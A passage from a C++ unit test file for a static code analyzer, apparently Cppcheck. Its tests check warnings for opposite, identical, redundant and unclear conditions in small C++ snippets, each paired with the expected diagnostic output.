if('y'==*p) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:51]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f6(char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f7(const char * p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f8(int i) { if(i==4) if(i==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:22] -> [test.cpp:1:31]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f9(int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f10(int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:33] -> [test.cpp:1:43]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f11(const int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:42]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f12(const int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:49]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==2) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==4) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(char a, char b) { if(a==b) if(a==0) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { if (x == 1) if (x != 1) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionAnd() {\n check(\"void f(int x) {\\n\"\n \" if (a>3 && x > 100) {\\n\"\n \" if (x < 10) {}\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f(bool x, const int a, const int b) {\\n\"\n \" if(x && a < b)\\n\"\n \" if( x && a > b){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:3:19]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionOr()\n {\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string x) {\\n\"\n \" if (x == \\\"1\\\" || x == \\\"2\\\") {\\n\"\n \" if (x == \\\"1\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 || x > 3) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n }\n\n void oppositeInnerConditionEmpty() {\n check(\"void f1(const std::string &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:61]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() > 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 0) if(s.empty()) {}} \"); // <- CheckOther reports: checking if unsigned expression is less than zero\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"template void f1(const T &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str()); //We don't know the type of T so we don't know the relationship between size() and empty(). e.g. s might be a 50 tonne truck with nothing in it.\n\n check(\"void f2(const std::wstring &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:44] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(QString s) { if(s.isEmpty()) if(s.length() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:34] -> [test.cpp:1:52]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s, bool b) { if(s.empty() || ((s.size() == 1) && b)) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(x.size() > 42) if(y.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(y.empty()) if(x.size() > 42) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string v[10]) { if(v[0].size() > 42) if(v[1].empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() >= 0) if(s.empty()) {}} \"); // CheckOther says: Unsigned expression 's.size()' can't be negative so it is unnecessary to test it. [unsignedPositive]\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() <= 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() < 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionFollowVar() {\n check(\"struct X {\\n\"\n \" void f() {\\n\"\n \" const int flag = get();\\n\"\n \" if (flag) {\\n\"\n \" bar();\\n\"\n \" if (!get()) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void bar();\\n\"\n \" int get() const;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct CD {\\n\"\n \" bool state;\\n\"\n \" void foo() {\\n\"\n \" const bool flag = this->get();\\n\"\n \" if (flag) {\\n\"\n \" this->bar();\\n\"\n \" if (!this->get()) return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool get() const;\\n\"\n \" void bar();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \"public:\\n\"\n \" bool f() const { return x > 0; }\\n\"\n \" void g();\\n\"\n \" int x = 0;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::g() {\\n\"\n \" bool b = f();\\n\"\n \" x += 1;\\n\"\n \" if (!b && f()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (d != 0) {\\n\"\n \" int i = d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionLambda() {\n check(\"void f() {\\n\" // #13728\n \" for (int i = 0; i < 2;) {\\n\"\n \" auto inc = [&]() {\\n\"\n \" if (i >= 2)\\n\"\n \" throw 0;\\n\"\n \" return i++;\\n\"\n \" };\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalInnerCondition() {\n check(\"void f1(int a, int b) { if(a==b) if(a==b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"void f2(int a, int b) { if(a!=b) if(a!=b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n // #6645 false negative: condition is always false\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b) {\\n\"\n \" if(a) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:3:9]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(int a, int b) {\\n\"\n \" if(a == b) { return a == b; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:27]: (warning) Identical inner 'return' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(bool a) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(int* a, int * b) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::shared_ptr a, std::shared_ptr b) {\\n\"\n \" if(a.get()) { return a.get(); }\\n\"\n \" return b.get();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int * x; };\\n\"\n \"int* f(A a, int * b) {\\n\"\n \" if(a.x) { return a.x; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" uint32_t value;\\n\"\n \" get_value(&value);\\n\"\n \" int opt_function_capable = (value >> 28) & 1;\\n\"\n \" if (opt_function_capable) {\\n\"\n \" value = 0;\\n\"\n \" get_value (&value);\\n\"\n \" if ((value >> 28) & 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TYPE_1 \\\"a\\\"\\n\" // #13202\n \"#define TYPE_2 \\\"b\\\"\\n\"\n \"#define TYPE_3 \\\"c\\\"\\n\"\n \"void f(const std::string& s) {\\n\"\n \" if (s == TYPE_1) {}\\n\"\n \" else if (s == TYPE_2 || s == TYPE_3) {\\n\"\n \" if (s == TYPE_2) {}\\n\"\n \" else if (s == TYPE_3) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalConditionAfterEarlyExit() {\n check(\"void f(int x) {\\n\" // #8137\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x > 100) { return false; }\\n\"\n \" return x > 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Identical condition and return expression 'x>100', return value is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 || y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 && y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (abc) {}\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" while (abc) { y = x; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n ASSERT_THROW_INTERNAL(check(\"void f(int x) {\\n\" // #8217 - crash for incomplete code\n \" if (x > 100) { return; }\\n\"\n \" X(do);\\n\"\n \" if (x > 100) {}\\n\"\n \"}\"),\n SYNTAX);\n\n check(\"void f(const int *i) {\\n\"\n \" if (!i) return;\\n\"\n \" if (!num1tok) { *num1 = *num2; }\\n\"\n \" if (!i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:4:7]: (warning) Identical condition '!i', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void C::f(Tree &coreTree) {\\n\" // daca\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C { void f(const Tree &coreTree); };\\n\"\n \"void C::f(const Tree &coreTree) {\\n\"\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6] -> [test.cpp:6:6]: (warning) Identical condition '!coreTree.build()', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // daca: labplot\n \" switch(type) {\\n\"\n \" case 1:\\n\"\n \" if (x == 0) return 1;\\n\"\n \" else return 2;\\n\"\n \" case 2:\\n\"\n \" if (x == 0) return 3;\\n\"\n \" else return 4;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static int failed = 0;\\n\"\n \"void f() {\\n\"\n \" if (failed) return;\\n\"\n \" checkBuffer();\\n\"\n \" if (failed) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca icu\n check(\"void f(const uint32_t *section, int32_t start) {\\n\"\n \" if(10<=section[start]) { return; }\\n\"\n \" if(++start<100 && 10<=section[start]) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca iqtree\n check(\"void readNCBITree(std::istream &in) {\\n\"\n \" char ch;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') return;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8924\n check(\"struct A {\\n\"\n \" void f() {\\n\"\n \" if (this->FileIndex >= 0) return;\\n\"\n \" this->FileIndex = 1 ;\\n\"\n \" if (this->FileIndex < 0) return;\\n\"\n \" }\\n\"\n \" int FileIndex;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:29]: (style) Condition 'this->FileIndex<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8858 - #if\n check(\"short Do() {\\n\"\n \" short ret = bar1();\\n\"\n \" if ( ret )\\n\"\n \" return ret;\\n\"\n \"#ifdef FEATURE\\n\"\n \" ret = bar2();\\n\"\n \"#endif\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10456\n check(\"int f() {\\n\"\n \" int i = 0;\\n\"\n \" auto f = [&](bool b) { if (b) ++i; };\\n\"\n \" if (i) return i;\\n\"\n \" f(true);\\n\"\n \" if (i) return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11478\n check(\"struct S {\\n\"\n \" void run();\\n\"\n \" bool b = false;\\n\"\n \" const std::function f;\\n\"\n \"};\\n\"\n \"void S::run() {\\n\"\n \" while (true) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" f(*this);\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void innerConditionModified() {\n check(\"void f(int x, int y) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * x, int * y) {\\n\"\n \" if (x[*y] == 0) {\\n\"\n \" (*y)++;\\n\"\n \" if (x[*y] == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // clarify conditions with = and comparison\n void clarifyCondition1() {\n check(\"void f() {\\n\"\n \" if (x = b() < 0) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (assignment + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" for (i = 0; i < 10; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" x = a(); if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x = b < 0 ? 1 : 2) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || (!y && z));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || !y && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!a || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant condition: a. '!a || (a && b)' is equivalent to '!a || b' [redundantCondition]\\n\", errout_str());\n\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Redundant condition: tok->next()->function(). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok2->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next(1)->function(1) ||\\n\"\n \" (tok->next(1)->function(1) && tok->next(1)->function(1)->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (style) Redundant condition: tok->next(1)->function(1). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function(1) ||\\n\"\n \" (tok->next()->function(2) && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y==0 || y!=0 && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Redundant condition: y!=0. 'y==0 || (y!=0 && z)' is equivalent to 'y==0 || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x>0 || (x<0 && y)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test Token::expressionString, TODO move this test\n check(\"void f() {\\n\"\n \" if (!dead || (dead && (*it).ticks > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Redundant condition: dead. '!dead || (dead && (*it).ticks>0)' is equivalent to '!dead || (*it).ticks>0' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!x || (x && (2>(y-1)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Redundant condition: x. '!x || (x && 2>(y-1))' is equivalent to '!x || 2>(y-1)' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a || (a && b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a || (a && b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && (a || b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a && (a || b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n }\n\n // clarify conditions with bitwise operator and comparison\n void clarifyCondition2() {\n check(\"void f() {\\n\"\n \" if (x & 3 == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Condition 'x&3==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a & fred1.x == fred2.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n , errout_str());\n }\n\n // clarify condition that uses ! operator and then bitwise operator\n void clarifyCondition3() {\n check(\"void f(int w) {\\n\"\n \" if(!w & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int w) {\\n\"\n \" if((!w) & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x == foo() & 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & x == foo()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & (x == foo())) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list &ints) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { A a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a(x there are never templates\n ASSERT_EQUALS(\"[test.c:1:17]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"class A;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (result != (char *)&inline_result) { }\\n\" // don't simplify and verify cast\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8495\n check(\"void f(bool a, bool b) {\\n\"\n \" C & a & b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition4() { // ticket #3110\n check(\"typedef double SomeType;\\n\"\n \"typedef std::pair PairType;\\n\"\n \"struct S\\n\"\n \"{\\n\"\n \" bool operator()\\n\"\n \" ( PairType const & left\\n\"\n \" , PairType const & right) const\\n\"\n \" {\\n\"\n \" return left.first < right.first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition5() { // ticket #3609 (using | in template instantiation)\n check(\"template struct CWinTraits;\\n\"\n \"CWinTraits::GetWndStyle(0);\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition6() {\n check(\"template\\n\"\n \"SharedPtr& operator=( SharedPtr const & r ) {\\n\"\n \" px = r.px;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition7() {\n // Ensure that binary and unary &, and & in declarations are distinguished properly\n check(\"void f(bool error) {\\n\"\n \" bool & withoutSideEffects=found.first->second;\\n\" // Declaring a reference to a boolean; & is no operator at all\n \" execute(secondExpression, &programMemory, &result, &error);\\n\" // Unary &\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition8() {\n // don't warn when boolean result comes from function call, array index, etc\n // the operator precedence is not unknown then\n check(\"bool a();\\n\"\n \"bool f(bool b) {\\n\"\n \" return (a() & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool *a, bool b) {\\n\"\n \" return (a[10] & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (a.a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (A::a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5895() {\n check(\"void png_parse(uint64_t init, int buf_size) {\\n\"\n \" if (init == 0x89504e470d0a1a0a || init == 0x8a4d4e470d0a1a0a)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5309() {\n check(\"extern uint64_t value;\\n\"\n \"void foo() {\\n\"\n \" if( ( value >= 0x7ff0000000000001ULL )\\n\"\n \" && ( value <= 0x7fffffffffffffffULL ) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrue() {\n\n check(\"void f(const struct S *s) {\\n\" //#8196\n \" int x1 = s->x;\\n\"\n \" int x2 = s->x;\\n\"\n \" if (x1 == 10 && x2 == 10) {}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'x2==10' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f ()\\n\"// #8220\n \"{\\n\"\n \" int 